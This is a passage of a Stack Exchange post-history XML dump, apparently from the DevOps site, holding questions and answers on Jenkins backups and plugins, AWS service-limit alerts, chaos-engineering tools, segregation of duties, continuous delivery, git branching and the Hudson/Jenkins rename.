values:&#xA;&#xA;[![Excel Values][5]][5]&#xA;&#xA;... and the formulas ...&#xA;&#xA;[![Excel Formulas][6]][6]&#xA;&#xA;&#xA;  [1]: https://devops.stackexchange.com/a/715/397&#xA;  [2]: https://www.amazon.co.uk/Availability-Network-Fundamentals-Chris-Oggerino-ebook/dp/B0015T6G44&#xA;  [3]: https://i.stack.imgur.com/ux8vH.png&#xA;  [4]: https://i.stack.imgur.com/dWKLI.png&#xA;  [5]: https://i.stack.imgur.com/67BzD.png&#xA;  [6]: https://i.stack.imgur.com/u2POH.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36311" PostHistoryTypeId="5" PostId="626" RevisionGUID="d57c7ccc-c80d-4c3c-a9db-fe5db14b4202" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Some additions to your own answer to this question ...&#xA;&#xA;### Additional monkeys&#xA;&#xA;The article about &quot;[How chaos boosts performance][1]&quot; describes a few more of these monkeys, i.e.:&#xA;&#xA;&gt; - **10-18 Monkey**: finds configuration and run time problems in instances that serve customers in multiple regions.&#xA;&gt; - **Chaos Kong**: simulates an outage of an Amazon region.&#xA;&#xA;Remark: The same article also mentions &quot;Chaos Gorilla: simulates an outage of an Amazon availability zone&quot;, though it could well be that this has been renamed now to &quot;Chaos Kong: simulates an outage of an Amazon region&quot; ... Talking about *Chaos*! I couldn't find any confirmation/docu on that so far, at least there does not seem to be an issue for it in the [issue queue][2]. An undocumented change might have made it to production on github ... Gggggggrrrrrreat!&#xA;&#xA;### Setup and use your own Monkeys.&#xA;&#xA;Head over to github to [get in touch with the Simian Army][3] (same link as the very first link in your own answer). Here is a quote of what you'll find there:&#xA;&#xA;&gt; Simian Army consists of services (Monkeys) in the cloud for generating various kinds of failures, detecting abnormal conditions, and testing our ability to survive them. The goal is to keep our cloud safe, secure, and highly available. More details can be found at [this blog][4].&#xA;&gt;&#xA;&gt; Currently the simians include [Chaos Monkey][5], [Janitor Monkey][6], and [Conformity Monkey][7].&#xA;&gt;&#xA;&gt; Refer to the [Quick start guide][8] to get started setting up and using the Monkeys.&#xA;&#xA;You can even [configure][9] the monkyes, so that they fit your business needs.&#xA;&#xA;If you dig deep enough within those Github links (i.e within the [Support][10] link), you'll also find a link to join the [SimianArmy Google Group][11].&#xA;&#xA;&#xA;  [1]: http://acutest.co.uk/blog/chaos-monkey&#xA;  [2]: https://github.com/Netflix/SimianArmy/issues&#xA;  [3]: https://github.com/Netflix/SimianArmy/wiki&#xA;  [4]: http://techblog.netflix.com/2011/07/netflix-simian-army.html&#xA;  [5]: https://github.com/Netflix/SimianArmy/wiki/Chaos-Monkey&#xA;  [6]: https://github.com/Netflix/SimianArmy/wiki/Janitor-Home&#xA;  [7]: https://github.com/Netflix/SimianArmy/wiki/Conformity-Home&#xA;  [8]: https://github.com/Netflix/SimianArmy/wiki/Quick-Start-Guide&#xA;  [9]: https://github.com/Netflix/SimianArmy/wiki/Configuration&#xA;  [10]: https://github.com/Netflix/SimianArmy/wiki/Support&#xA;  [11]: http://groups.google.com/group/simianarmy-users" ContentLicense="CC BY-SA 4.0" />
  <row Id="36312" PostHistoryTypeId="5" PostId="615" RevisionGUID="afcc0fcc-c54d-4639-a338-4e53fe6f6ee9" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="All I want in life is for AWS to shoot me an email when any of Trusted Advisor's Service Limits go to WARN or ERROR status. I've checked their guides, tried chatting with support and no one can get that to happen, so I'm reaching out here. &#xA;&#xA;# Use Case #&#xA;&#xA;We spin up a lot of EC2 instances and CloudFormation stacks and everything uses lots of resources. Somehow we always hit a limit we didn't know about in the middle of a validation sprint and end up blocked for an hour while AWS takes their sweet time bumping our limits. I'd like to set up some kind of event to **email devops when one of the Service Limits is close to being reached**. I am alright with it checking as infrequently as once a week, but would prefer once a day if that kind of granularity is possible.&#xA;&#xA;### Attempts ###&#xA;&#xA;I tried setting up a CloudWatch Event, but the only option I could get was to email us when the Service Limits were *refreshed* - which is useless, because then you're already in there manually looking at it and there's no point in an email. &#xA;&#xA;### Options ###&#xA;&#xA;Support told me there's no default functionality for this inside of AWS, so I'm looking for either custom event options, or I will also accept something leveraging Jenkins2 and the AWS CLI if that is a possible route. If Jenkins is the way to go it doesn't need to send an email - I'd probably have it slack our devops channel, if that changes the answer any." ContentLicense="CC BY-SA 4.0" />
  <row Id="36313" PostHistoryTypeId="5" PostId="563" RevisionGUID="cee5a1ba-a5b3-4edf-81e5-5b9a2043225d" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="All jobs (`jobs/`) and master config files (`config.xml`) can be found in [Jenkins home folder][1] (`JENKINS_HOME `) in the following structure:&#xA;&#xA;    JENKINS_HOME&#xA;     +- config.xml     (jenkins root configuration)&#xA;     +- *.xml          (other site-wide configuration files)&#xA;     +- userContent    (files in this directory will be served under your http://server/userContent/)&#xA;     +- fingerprints   (stores fingerprint records)&#xA;     +- plugins        (stores plugins)&#xA;     +- workspace (working directory for the version control system)&#xA;         +- [JOBNAME] (sub directory for each job)&#xA;     +- jobs&#xA;         +- [JOBNAME]      (sub directory for each job)&#xA;             +- config.xml     (job configuration file)&#xA;             +- latest         (symbolic link to the last successful build)&#xA;             +- builds&#xA;                 +- [BUILD_ID]     (for each build)&#xA;                     +- build.xml      (build result summary)&#xA;                     +- log            (log file)&#xA;                     +- changelog.xml  (change log)&#xA;&#xA;Most of the config are in XML format, so backing all `.xml` files should be enough.&#xA;&#xA;&gt; All the settings, build logs, artifact archives are stored under the JENKINS_HOME directory. Simply archive this directory to make a back up. Similarly, restoring the data is just replacing the contents of the JENKINS_HOME directory from a back up.&#xA;&gt;&#xA;&gt; Back ups can be taken without stopping the server, but when you restore, please do stop the server.&#xA;&#xA;&#xA;----------&#xA;&#xA;For consistent backups it is good practise to keep `JENKINS_HOME` directory under Git repository.&#xA;&#xA;For example:&#xA;&#xA;    cd $JENKINS_HOME&#xA;    git init&#xA;    shopt -s globstar&#xA;    git add **/config.xml&#xA;    git commit -m'Added job config files' -a&#xA;&#xA;and pushing the files to the external repository. You can also add the following [`.gitignore` file][2] to ignore some files.&#xA;&#xA;Related: [Is there a way to keep Hudson / Jenkins configuration files in source control?](https://stackoverflow.com/q/2087142/55075)&#xA;&#xA;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Administering+Jenkins&#xA;  [2]: https://stackoverflow.com/a/38297609/55075" ContentLicense="CC BY-SA 4.0" />
  <row Id="36314" PostHistoryTypeId="5" PostId="559" RevisionGUID="c17bef63-feb5-4dde-8122-d545ce56cd98" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="In highly regulated environments, such as the Financial Services sector, [Segregation of Duties][1] is an essential mechanism for avoiding collision amongst individuals with development responsibilities and production privileges.&#xA;&#xA;Traditionally this has meant that **Developers** develop code and then hand it over to **Operations** however in many DevOps Operating Models the segregation between Development and Operations is, at a minimum, blurred:&#xA;&#xA; - In Google's [Site Reliability Engineering][2], or SRE, practice there is a separate SRE function within Google, however, Developers are brought in to backstop the SREs in times of high operational load.&#xA;&#xA; - In the [&quot;You Build It, You Run It&quot;][3] model there is no separate operations function.&#xA;&#xA;After spending months drilling down to the root causes of a Segregation of Duties mechanism it seems it predominantly exists to satisfy [Sarbanes Oxley Section 404][4]: Management Assessment of Internal Controls:&#xA;&#xA;&gt; (a) Rules Required.&#xA;&gt; The Commission shall prescribe rules requiring each annual report required by section 13(a) or 15(d) of the Securities Exchange Act of 1934 to contain an internal control report, which shall--&#xA;&gt;&#xA;&gt;   (1) state the responsibility of management for establishing and maintaining an adequate internal control structure and procedures for financial reporting; and&#xA;&gt;&#xA;&gt;   (2) contain an assessment, as of the end of the most recent fiscal year of the issuer, of the effectiveness of the internal control structure and procedures of the issuer for financial reporting.&#xA;&gt;&#xA;&gt;(b) Internal Control Evaluation and Reporting. On the internal control assessment required by subsection (a), each registered public accounting firm that prepares or issues the audit report for the issuer shall attest to, and report on, the assessment made by the management of the issuer. An attestation made under this subsection shall be made in accordance with standards for attestation engagements issued or adopted by the Board. Any such attestation shall not be the subject of a separate engagement.&#xA;&#xA;Based upon the comments it is important to call out a couple of **assumptions** I am making:&#xA;&#xA; - I am predominantly considering mass-market financial services, i.e. transaction volumes are high but relatively low value.  This would be as opposed to commercial financial services which has a different transaction value profile.&#xA; - A financial institution's online offering will be made up of many components that have differing risk considerations:&#xA;   - **Move Money** - Moving money between accounts or transfers between accounts of different owners.  An operation that has to consider Anti-Money Laundering, Fraud Protection, and Embargo'ed countries to name a few.&#xA;   - **Customer Acquisition** - Less &quot;Risky&quot; as it has low transaction volumes compared to Move Money but still needs consideration.&#xA;   - **Internet Banking** - Covers a wide range of services with varying levels of risk, Move Money would be considered part of this.&#xA; - Conceivably a different approach could be taken for each depending on the risk, however, in the interests of keeping it simple, I am working towards a solution that would apply to some of the riskiest operations.&#xA;&#xA;**TL;DR**: It is the responsibility of the management to ensure that adequate internal controls are in place that comply with the [Securities and Exchange Commission's][5] [regulations][6]. &#xA;&#xA;Sarbanes Oxley 404 is normally satisfied through the completion of a Top-Down Risk Assessment, part of which will assess the risk of collusion and puts forward mitigation strategies.&#xA;&#xA;Within a company which employs DevOps practice and culture, where Developers routinely have access to both source control and production how can Segregation of Duties be achieved, or more generally how can the risk of collusion be mitigated.&#xA;&#xA;&#xA;  [1]: https://en.wikipedia.org/wiki/Separation_of_duties&#xA;  [2]: https://landing.google.com/sre/interview/ben-treynor.html&#xA;  [3]: http://queue.acm.org/detail.cfm?id=1142065&#xA;  [4]: http://sarbanes-oxley-101.com/SOX-404.htm&#xA;  [5]: https://en.wikipedia.org/wiki/United_States_Securities_and_Exchange_Commission&#xA;  [6]: https://www.sec.gov/spotlight/soxcomp.htm" ContentLicense="CC BY-SA 4.0" />
  <row Id="36315" PostHistoryTypeId="5" PostId="535" RevisionGUID="bbee6765-ef69-42d4-8072-fd25cdba135a" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I've created the [jenkins-remote-builder][1] script which will follow your remote build to completion.&#xA;&#xA;Some more details about it (from its [README.md][2]):&#xA;&#xA;&gt; ## Example&#xA;&gt;&#xA;&gt;     jenkins=https://user:pass@jenkins.mydomain.com:8080&#xA;&gt;     jenkins_job=MyApp-Deploy&#xA;&gt;&#xA;&gt;     environment=dev&#xA;&gt;     application=myapp&#xA;&gt;     revision=9fd71f63b351b8208264daf86d292ced580a2f60&#xA;&gt;&#xA;&gt;     ./jenkins_remote_trigger.sh \&#xA;&gt;                 -h ${jenkins} \&#xA;&gt;                 -j ${jenkins_job} \&#xA;&gt;                 -p &quot;ENVIRONMENT=${environment}&amp;APPLICATION=${application}&amp;REVISION=${revision}&quot;&#xA;&gt;&#xA;&gt; ## Usage:&#xA;&gt;&#xA;&gt;     -h HOST     | --host=HOST                       Jenkins host&#xA;&gt;     -j JOBNAME  | --jobname=test-build-job          The name of the jenkins job to trigger&#xA;&gt;     -p JOBPARAM | --jobparam=environment=uat&amp;test=1 Jenkins job paramiters&#xA;&gt;     -q          | --quiet                           Don't output any status messages&#xA;&#xA;&#xA;&#xA;  [1]: https://github.com/owenmorgan/jenkins-remote-builder&#xA;  [2]: https://github.com/owenmorgan/jenkins-remote-builder/blob/master/README.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="36316" PostHistoryTypeId="5" PostId="531" RevisionGUID="58899ee2-840a-44ed-933d-4de2182a0e9f" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="It seems that many people somehow try to define the software development process using a DevOps tools model but there is no alignment; still I assume that this is more a question of maturity/alignment, not of matter of taste. &#xA;&#xA;**Question**: What are further known DevOps operation models?&#xA;&#xA;Some examples I've seen at available popular sources:&#xA;&#xA; - Plan, Develop, Test, Release, Operate&#xA;   &#xA; - Plan, Code, Build, Test, Release, Deploy, Operate, Monitor&#xA;   &#xA; - Requirements, Development, Build, Testing, Deployment, Execution&#xA;&#xA;Here is a quote from the Wikipedia page for the [DevOps toolchain](https://en.wikipedia.org/wiki/DevOps_toolchain):&#xA;&#xA;&gt; A **DevOps toolchain** is a set or combination of tools that aid in the delivery, development, and management of applications throughout the [software development lifecycle][1], as coordinated by an organisation that uses [DevOps][2] practices.&#xA;&gt;&#xA;&gt; Generally, DevOps tools fit into one or more activities, which supports specific DevOps initiatives: Plan, Create, Verify, Preprod, Release, Configure, and Monitor.&#xA;&gt;&#xA;&gt; Another proposed toolchain model was referenced in 2014 as coming from &quot;an unknown source&quot; as Plan, Code, Build, Test, Release, Deploy, Operate and Monitor.&#xA;&#xA;However, that same Wikipedia page also contains an image which looks like so:&#xA;&#xA;[![Devops Toolchain stages on Wikipedia][3]][3]&#xA;&#xA;This image, IMO, does not correlate with the text on that page.&#xA;&#xA;*DevOps Toolchain stages on Wikipedia, [By Kharnagy - Own work, CC BY-SA 4.0Wikipedia](https://commons.wikimedia.org/w/index.php?curid=51215412)*&#xA;&#xA;Sources:&#xA;https://devops.com/devops-2017-cdos-care/&#xA;&#xA;&#xA;  [1]: https://en.wikipedia.org/wiki/Software_development_lifecycle&#xA;  [2]: https://en.wikipedia.org/wiki/DevOps&#xA;  [3]: https://i.stack.imgur.com/7NmOQ.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36317" PostHistoryTypeId="5" PostId="474" RevisionGUID="d950b695-d965-47ce-98ed-78f017175eab" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="It is a common misbelief that “DevOps” is a role in a company. The word merely denotes an organisational shift in software companies, this shift can be shortly described by the “[You build it, you run it!](https://www.safaribooksonline.com/library/view/programming-amazon-ec2/9781449303617/ch01s03.html)” coined by Werner Vogels: &#xA;&#xA;&gt; There is no need to distinguish between building and running, and according to Werner Vogels, it is much better than that:&#xA;&gt;&#xA;&gt; &gt; Giving developers operational responsibilities has greatly enhanced the quality of the services, both from a customer and a technology point of view. The traditional model is that you take your software to the wall that separates development and operations, and throw it over and then forget about it. Not at Amazon. You build it, you run it. This brings developers into contact with the day-to-day operation of their software. It also brings them into day-to-day contact with the customer. This customer feedback loop is essential for improving the quality of the service.&#xA;&gt;&#xA;&gt; This lesson is interesting, but this particular change in an organization is not always easy to implement.&#xA;&#xA;This shift is concomitant of an increasing importance of continuous integration and deliveries methods. Please note that these ideas are much older than the formalisation of “agile” methodologies, some of them are already present in the NATO Scientific Committee report about software engineering published in … 1968!&#xA;&#xA;While the wording can be overlooked, the short description of the DevOps proposal (this site) mentions “software engineers”:&#xA;&#xA;&gt; Beta Q&amp;A site for software Engineers working on automated testing, continuous delivery, service integration and monitoring, and building SDLC infrastructure.&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;Now if you are looking for a software engineer that can help your team getting started with these methodologies, engage them on this topic. Even if you are not familiar with this topic, following the “You build it! You run it!” slogan you can start from a programming problem and lead the interview towards question about deployment and maintenance of the application." ContentLicense="CC BY-SA 4.0" />
  <row Id="36318" PostHistoryTypeId="5" PostId="318" RevisionGUID="522cc4ad-ee9f-4c5b-b2b4-faeadc176839" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="IMO DevOps is culture, much like Agile (without choosing an agile methodology.) Therefore you don't &quot;do&quot; DevOps.&#xA;&#xA;You &quot;do&quot; a release methodology called Continuous Delivery as part of a DevOps Culture. (full disclosure, I don't think I've ever referred to CD as a release methodology before, but in my jetlagged state I think it works)&#xA;&#xA;If you'll buy that, then here's the definition of Continuous Delivery from one of the people who wrote the book by the same title, [Jez Humble][1].&#xA;&#xA;&gt; Continuous Delivery is the ability to get changes of all types—including new features, configuration changes, bug fixes and experiments—into production, or into the hands of users, safely and quickly in a sustainable way.&#xA;&gt;&#xA;&gt; Our goal is to make deployments—whether of a large-scale distributed system, a complex production environment, an embedded system, or an app—predictable, routine affairs that can be performed on demand.&#xA;&gt;&#xA;&gt; We achieve all this by ensuring our code is always in a deployable state, even in the face of teams of thousands of developers making changes on a daily basis. We thus completely eliminate the integration, testing and hardening phases that traditionally followed “dev complete”, as well as code freezes.&#xA;&#xA;So then, you can work in an Agile methodology, having software you can demonstrate to the business, making sure you're doing proper automated testing, reacting well the change and all of the things that make it better than waterfall. All too often that **doesn't** mean you could actually deploy it to production.&#xA;&#xA;You end up with something like this:&#xA;[![agile without cd][2]][2]&#xA;&#xA;So the software will (probably) be better when you're done then if you didn't have some sort of iterative approach, but you don't really know because real users haven't ever seen it.&#xA;&#xA;What you really want is something that looks more like this:&#xA;&#xA;[![enter image description here][3]][3]&#xA;&#xA;Every iteration, something gets deployed to production. So, the software is **deployed**. If you decide to create downloads, open up the web server, or however you get software into the hands of users it's **released**. &#xA;&#xA;## What the heck!? I asked about DevOps! Nobody asked about Continuous Delivery!! ##&#xA;&#xA;So what does DevOps have to do with this?&#xA;&#xA;It's very, very hard (approaching impossible) to truly have your software in a state where you could deploy it whenever you want unless that team is working in a DevOps culture. A culture where System Admins, DBA, SREs, Security People, Devs, QAs, etc., etc., are all part of a single team and not siloed part of an organization with handoffs.&#xA;&#xA;**Note**:&#xA;&#xA;About part of a comment posted to this answer, which was like so:&#xA;&#xA;&gt; About your &quot;... software in a state where you could deploy it whenever you want ...&quot;: that reminds me about &quot;automatic pilot&quot; software (in a plane) ... My favorite question about that: &quot;**Imagine an update is applied to such software ... How would you feel about doing so inflight ... While you're in onboard?**&quot;.&#xA;&#xA;I love that question (in bold, in the above quote)! The idea of &quot;is it really ready?&quot; is something I rant about all the time - [blog][4]. IMO it's vital that you're confident in security, performance and other too often &quot;secondary&quot; tests in order to practice CD. The features are done when they're done, but hackers are always there.&#xA;&#xA;&#xA;  [1]: https://continuousdelivery.com/&#xA;  [2]: https://i.stack.imgur.com/ey7VV.png&#xA;  [3]: https://i.stack.imgur.com/DBXF3.png&#xA;  [4]: https://www.gocd.io/2016/01/17/not-done-unless-its-done/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36319" PostHistoryTypeId="5" PostId="749" RevisionGUID="9f506b6f-7ed1-40b9-b84e-2cc0cb08ac2e" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="None of the issues you present appear to be DevOps-specific to me.&#xA;&#xA;&gt; Some of the pitfalls organisations are trying to avoid are:&#xA;&gt;&#xA;&gt; * Inability to report progress consistently across multiple development teams, for example, if one team reports their progress in terms of the number of equally sized stories completed in 2 weeks; whereas another team reports in storypoints completed in a three-week sprint.&#xA;&#xA;This is a problem any company with multiple development teams, or multiple teams of any sort that share a common functionality, will face.  The simplest answer is to move them all onto a shared cycle.&#xA;&#xA;&#xA;&gt; * Inconsistent application of a practice means team members can not easily move between teams within the same organisation without learning new ways of working.&#xA;&#xA;Again, not a problem specific to DevOps.  As with developer teams, you need to increase visibility into other teams and introduce standards to keep people in sync.&#xA;&#xA;&#xA;&gt; * Mismatches in development cadence across multiple teams makes coordinating dependent releases difficult.&#xA;&#xA;Once again, not DevOps-specific, but a classic problem of business that comes from far before electronic computers.  Reduce dependencies and make it clear when they happen that they are happening, and the effects of slippage, and keep all affected parties informed of schedule changes." ContentLicense="CC BY-SA 4.0" />
  <row Id="36320" PostHistoryTypeId="5" PostId="299" RevisionGUID="cb03e94a-105e-4106-bbf1-5dc548bd5591" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Your question doesn't specify which platform (OS) it is about. But if it is about good old mainframes (running zOS, whereas the z stands for &quot;zero downtime ...&quot;), then these would be some possible options to pick from (quotes are from the linked pages):&#xA;&#xA;- [Compuware Source Code Download for Endevor, PDS, and ISPW Plugin][1].&#xA;&#xA;  &gt; ... allows Jenkins users to download Endevor, PDS, or ISPW members from the mainframe to the PC. Source can then be accessed on the PC, for example, for SonarQube analysis and reporting.&#xA;&#xA;- [IBM zOS Connector][2].&#xA;&#xA;  &gt; ... provides its functions via FTP connection to IBM z/OS LPAR. You can configure your SCLM project on z/OS and then check for the changes via Jenkins.&#xA;  &gt;&#xA;  &gt; Features include:&#xA;  &gt;&#xA;  &gt; - Submission of user JCL job (with optional log collected upon finish).&#xA;  &gt; - Introduction of SCLM as SCM for your projects allowing to checkout SCLM changes.&#xA;  &gt; - The ability to build SCLM projects currently can be performed only via 'Submit zOS Job' build action.&#xA;&#xA;&#xA;PS: if you're not familiar with the typical SCM solutions on this platform (such as Endevor or ISPW), then have a look at the [typical SCM solutions exist for managing mainframe software][3].&#xA;&#xA;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Compuware+Source+Code+Download+for+Endevor%2C+PDS%2C+and+ISPW+Plugin&#xA;  [2]: https://wiki.jenkins-ci.org/display/JENKINS/IBM+zOS+Connector&#xA;  [3]: https://devops.stackexchange.com/questions/273/which-scm-solutions-exist-for-managing-mainframe-software/275#275" ContentLicense="CC BY-SA 4.0" />
  <row Id="36321" PostHistoryTypeId="5" PostId="277" RevisionGUID="5b843773-76eb-46a3-b699-aa53f193ec09" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I am trying to integrate my project coded in core **PHP**, with **Travis-CI** but it always fails.&#xA;&#xA;Travis reports a failure even when I have only one file in my project.&#xA;&#xA;## PHP file Code :&#xA;&#xA;    &lt;?php&#xA;    &#xA;    phpinfo();&#xA;    &#xA;    ?&gt;&#xA;&#xA;---&#xA;## `.travis.yml` File Code&#xA;&#xA;    language: php&#xA;    php:&#xA;      - '5.4'&#xA;      - '5.5'&#xA;      - '5.6'&#xA;      - '7.0'&#xA;      - '7.1'&#xA;      - hhvm&#xA;      - nightly&#xA;&#xA;&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36322" PostHistoryTypeId="5" PostId="219" RevisionGUID="16ef376c-2b72-4206-8ad1-04e607479206" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="In a continuously developed web project (not a product) we currently have the following branching strategy, roughly based on *git flow*:&#xA;&#xA;- develop branch: latest working version&#xA;- master branch: version to be released / released version&#xA;- feature branches: features in development&#xA;- hotfix branches: urgent bugfixes in released version&#xA;&#xA;**Master** is read only, updated via pull requests from **develop** or **hotfix branches**. Each update results in a release candidate being built and deployed to the staging system. Release candidates are deployed to production after manual approval. &#xA;&#xA;**Feature branches** are created based off **develop**, or from the last commit that has been merged into master. A pull request from a feature branch to develop is built, deployed to a free test system where integration tests and acceptance tests (automatic &amp; manual) are executed. When successfully tested and reviewed, the PR gets merged, so that it will become part of the next release (i.e. merge from develop to master).&#xA;&#xA;## My goal&#xA;&#xA;I would like to simplify this and get rid of the develop branch. The develop branch has mostly historical reasons and since it is always a successfully tested version, I think it is unnecessary to keep it separated from master. Removing it will also simplify the release process because there is no additional merge anymore.&#xA;&#xA;### I have the following constraints:&#xA;&#xA;- releases are scheduled and should not be fully automated&#xA;- while feature branches are typically short lived, some stay unmerged for several weeks (e.g. a redesign) but need to be tested as well (currently as open pull requests to develop)&#xA;- sometimes a single feature should be released outside the regular release, effectively turning it into a hotfix. With the current strategy I can rebase a feature branch and merge it directly into master&#xA;- it also happens that we need to hold back features after acceptance tests with external systems on staging failed&#xA;&#xA;&#xA;### Where I am not sure about the transition:&#xA;&#xA;- currently I am building pull requests for testing and merge commits for releases. Can I unify this?&#xA;- how to deal with hotfixes when the master is ahead of the latest release. Should I build and deploy releases directly from hotfix branches?&#xA;- is there a sensible way to deal with features that should be excluded from a release after they have already been merged? Is a separate develop branch really an advantage for these cases? Most of the time I end up reverting and re-reverting commits manually anyways." ContentLicense="CC BY-SA 4.0" />
  <row Id="36323" PostHistoryTypeId="5" PostId="189" RevisionGUID="565bf22a-243b-42df-af52-28cf02d5bd9f" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="To explain something to anybody, try to compare it to something they are (hopefully) familiar with already.&#xA;&#xA;So that's why I just answer such question like so:&#xA;&#xA;&gt; Think of it as arriving at a place to stay (a hotel, a resort, etc):&#xA;&gt;&#xA;&gt; - the very *first* thing you do (when you arrive) is to **`checkin`**.&#xA;&gt; - the very *last* thing you do (when you leave) is to **`checkout`**.&#xA;&gt;&#xA;&gt; A similar SCM concept applies when you want to apply changes to software components ...  except that ***it applies the other way around***:&#xA;&gt;&#xA;&gt; - the very *first* thing you do (when you start) is to **`checkout`** (or think of it like borrowing it).&#xA;&gt; - the very *last* thing you do (when you finish) is to **`checkin`** (or think of it like giving it back).&#xA;&#xA;**Note**: this applies to centralized systems (such as the ones used in mainframe environments ...). In systems such as [tag:git] the &quot;*`checkout`*&quot; concept has a completely different meaning (which IMO is also why in those systems there is hardly any confusion about both concepts)." ContentLicense="CC BY-SA 4.0" />
  <row Id="36324" PostHistoryTypeId="5" PostId="186" RevisionGUID="a93eafed-6b29-4d46-8b8b-d5210ffe09c7" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="The [Wikipedia page for HiveQL](https://en.wikipedia.org/wiki/Apache_Hive#HiveQL) provides a brief summary of the differences:&#xA;&#xA;&gt; While based on SQL, HiveQL does not strictly follow the full SQL-92 standard. HiveQL offers extensions not in SQL, including multitable inserts and create table as select, but only offers basic support for indexes. Also, HiveQL lacks support for transactions and materialized views, and only limited subquery support. Support for insert, update, and delete with full ACID functionality was made available with release 0.14.&#xA;&gt;&#xA;&gt; Internally, a compiler translates HiveQL statements into a directed acyclic graph of MapReduce, Tez, or Spark jobs, which are submitted to Hadoop for execution.&#xA;&#xA;One of the biggest limitations is with transactions, [as documented in their wiki](https://cwiki.apache.org/confluence/display/Hive/Hive+Transactions#HiveTransactions-Limitations) - it appears that [ACID semantics](https://en.wikipedia.org/wiki/ACID) have been added recently, so the support is not quite as mature as it would be in a typical RDBMS like MySQL.&#xA;&#xA;Hortonworks have also published a [cheat sheet for converting SQL to HiveQL](http://hortonworks.com/wp-content/uploads/2016/05/Hortonworks.CheatSheet.SQLtoHive.pdf) - it looks pretty useful for determining the differences between Hive and a normal RDBMS, although it does appear to be slightly outdated (it talks about v0.10 and v0.11, when the latest release as of March 2017 is 2.1.1).&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36325" PostHistoryTypeId="5" PostId="63" RevisionGUID="3454ffe7-bbcf-4fcc-8fef-e27627a9fcb8" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="In addition to the list in the previous answer, there is also the plugin that [integrates Serena Dimensions CM with Jenkins][1]. Some more details about this plugin (from the linked page):&#xA;&#xA;&gt; The plugin allows a Jenkins job to be associated with a [Serena Dimensions CM][2] stream or project, automatically updating the Jenkins workspace with file content from the Dimensions CM repository.&#xA;&gt;&#xA;&gt; The plugin currently supports&#xA;&gt;&#xA;&gt; - Polling&#xA;&gt; - Checkout&#xA;&gt; - Build change log reporting&#xA;&gt; - Tagging&#xA;&gt; - Artifact Upload&#xA;&gt; - Tag Deployment&#xA;&gt; - Launching Tagged Builds via Dimensions Builder&#xA;&#xA;**Video tutorial**: [Dimensions CM: Jenkins Plugin Tutorial][3]&#xA;&#xA;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Dimensions+Plugin&#xA;  [2]: http://www.serena.com/dimensions-cm&#xA;  [3]: https://www.youtube.com/watch?v=XquDJT90M9I" ContentLicense="CC BY-SA 4.0" />
  <row Id="36326" PostHistoryTypeId="5" PostId="29" RevisionGUID="0a5ce271-0281-49b1-b372-1261cacb505b" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Have a look at the [Summary Display plugin][1]. Some more details about it (= quote from the linked page):&#xA;&#xA;&gt; ... allows an easy and fully customized build report display.&#xA;&gt;&#xA;&gt; Features&#xA;&gt;&#xA;&gt; - Allow a rich summary report visible from both project and build page&#xA;&gt; - Reports must be written in an XML format according to the syntax described in section Syntax Description&#xA;&gt; - This plugin allow the parsing of several XML files&#xA;&gt; - Reports displayed are ordered according to the XML file names&#xA;&gt; - Element displayed are based on&#xA;&#xA;In general, the answer to such questions is usually found by searching the endless [Jenkins plugin index][2].&#xA;&#xA;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Summary+Display+Plugin&#xA;  [2]: https://plugins.jenkins.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36327" PostHistoryTypeId="5" PostId="18" RevisionGUID="3d81358f-0005-4bef-974b-6a09bf652eee" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="The [Jenkins website](https://jenkins.io/blog/2011/01/11/hudsons-future/) has a blog post on this issue:&#xA;&#xA;&gt; But one issue, which we feel is the most significant issue of all, one for which we now believe no resolution is possible: the rights to the name Hudson.&#xA;&gt;&#xA;&gt; Oracle has told us that they have trademark applications filed in both the EU and US for Hudson, based on Hudson's creation by Kohsuke while working at Sun. The problem is that this trademark ownership gives Oracle the ability to revoke the Hudson project's right to call itself Hudson at any time, and while Oracle has made an attempt to offer some guarantees (most notably, that binary releases of Hudson, once they've been released with the name Hudson attached, will always retain the right to the name), they are not offering any binding guarantee that the Hudson project will be able to retain its use of the name in perpetuity.&#xA;&gt;&#xA;&gt; Therefore, to continue using the name Hudson means ceding some of the project's independence to Oracle - if the project and its governance board opted to go in a direction Oracle disapproved of, Oracle would be able to take away the naming rights. Or, in a less dramatic scenario, Oracle could insist on certain changes to the code, infrastructure decisions, process, etc, regardless of opposition from the Hudson development community, in order to retain the rights to the name.&#xA;&#xA;The Jenkins team were concerned that using the name 'Hudson' would give Oracle far too much control over the project, because there was a constant threat that if the project didn't do what Oracle wanted, they'd simply yank the rights to the trademark. &#xA;&#xA;In order to retain independence, the developers of Hudson voted to rename the project Jenkins. However, here's where it gets confusing. Oracle chose to 